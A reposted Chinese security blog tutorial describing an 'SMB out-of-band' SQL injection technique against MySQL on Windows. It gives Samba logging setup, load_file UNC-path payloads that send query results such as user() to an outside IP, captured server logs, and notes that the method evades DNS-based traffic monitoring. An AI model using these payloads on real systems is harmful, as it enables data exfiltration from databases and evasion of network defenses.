记录黑客技术中优秀的内容,传播黑客文化,分享黑客技术精华

SMB外带注入?

2021-07-02 09:53
声明:该公众号大部分文章来自作者日常学习笔记,也有少部分文章是经过原作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。
请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。


文章来源:月影斑驳博客

原文地址:http://moonslow.com/article/smb_sql_injection


0x01 前言

温故而知新,今天在整理古老的近乎失传的DNS外带注入方法时,偶然间发现外带数据的装载区域并不一定是域名前缀。放在后面也是可以的,由于目前网络上没有相关的记载,姑且称之为SMB外带注入吧。

0x02 搭建测试环境

我使用的是CentOS7 ,直接

yum install samba

然后vi /etc/samba/smb.conf修改配置文件,找到security = user , 旧版本将user改为share,这里我用的新版本,需要在后面添加
map to guest = Bad User

日志记录级别调到10 ,level 0-10 ,调到最高便于记录:
log level =0

然后再配置一个test共享:
[test]        comment = Public stuff        path = /usr/local/test        public = yes        browseable = yes        guest ok = yes

保存后重启samba服务。

0x03 本地测试过程

找一台windows环境的机器,上面安装MySQL ,建议安装 MySQL 5.7.16 以下版本,主要是由于高版本有一个默认选项secure_file_prvi ,默认不允许load_file 。

我们在MySQL服务器上执行这样一条SQL语句:
select load_file('\\\\118.193.40.73\\smb_test\\1.txt');

在samba服务器上查看到了这样一条日志:
smbd_smb2_tree_connect: couldn't find service smb_test[2021/06/26 21:40:05.263149,  3, pid=27801, effective(0, 0), real(0, 0), class=smb2] ../../source3/smbd/smb2_server.c:3266(smbd_smb2_request_error_ex)

如果执行的共享目录存在于服务器上:
select load_file('\\\\118.193.40.73\\test\\smb_test\\1.txt');

会得到这样的日志(vi /var/log/samba/log.smbd ):
check_reduced_name: check_reduced_name [smb_test.sym] [/usr/local/test][2021/06/26 21:44:07.854561, 10, pid=28050, effective(65534, 65534), real(65534, 0), class=vfs] ../../source3/smbd/vfs.c:1382(check_reduced_name)

使用这两种方法都可以。我们选择第一种方法来查询一下user():

select load_file(concat('\\\\118.193.40.73\\',user(),'\\1.txt'));
smbd_smb2_tree_connect: couldn't find service root@localhost

可以收到查询的内容了。经过测试,使用第一种方法查询时间为9.12秒,而第二种方法只需要1.93秒,相差还是挺大的,当然推荐第二种了。

有待改进之处:由于日志级别调到了最高,日志内容比较多,不便于查找,日志还需要进一步优化。不过,我们可以插入关键词进行匹配:
load_file(concat('\\\\118.193.40.73\\test\\[do9gy',user(),'do9gy]\\1.txt'))

经过优化后:
open_file_ntcreate: fname=[do9gyroot@localhostdo9gy].sym, dos_attrs=0x80 access_mask=0x120089 share_access=0x7 create_disposition = 0x1 create_options=0x40 unix mode=0744 oplock_request=256 private_flags = 0x0

这样就方便搜索多了(有点土耳其黑客的意思了)。

0x04 SMB、DNS对比

1. smb外带注入 可以一次性提交更大长度的字符,经测试长度在120是没有问题的,而dns前缀最多是63个字符。而且对特殊字符的兼容性比较好,目前测试发现 *是不行的,其他还有待fuzz。


2. smb外带注入不依赖于dns,可以绕过目前流量监测设备对异常域名前缀的捕获,可以直接使用ip,不需要dns请求。


3. 二者都受限于windows系统以及MySQL 的secure_file_prvi 。




关注公众号回复“9527”可免费获取一套HTB靶场文档和视频,1120”安全参考等安全杂志PDF电子版,1208”个人常用高效爆破字典0221”2020年酒仙桥文章打包还在等什么?赶紧点击下方名片关注学习吧!


推 荐 阅 读





欢 迎 私 下 骚 扰




知识来源: https://mp.weixin.qq.com/s?__biz=Mzg4NTUwMzM1Ng==&mid=2247489582&idx=1&sn=35d21beefff8a1979c5d6994df106a7e

阅读:53554 | 评论:0 | 标签:注入

想收藏或者和大家分享这篇好文章→复制链接地址

“SMB外带注入?”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

永久免费持续更新精选优质黑客技术文章Hackdig,帮你成为掌握黑客技术的英雄

求赞助求支持💖

标签云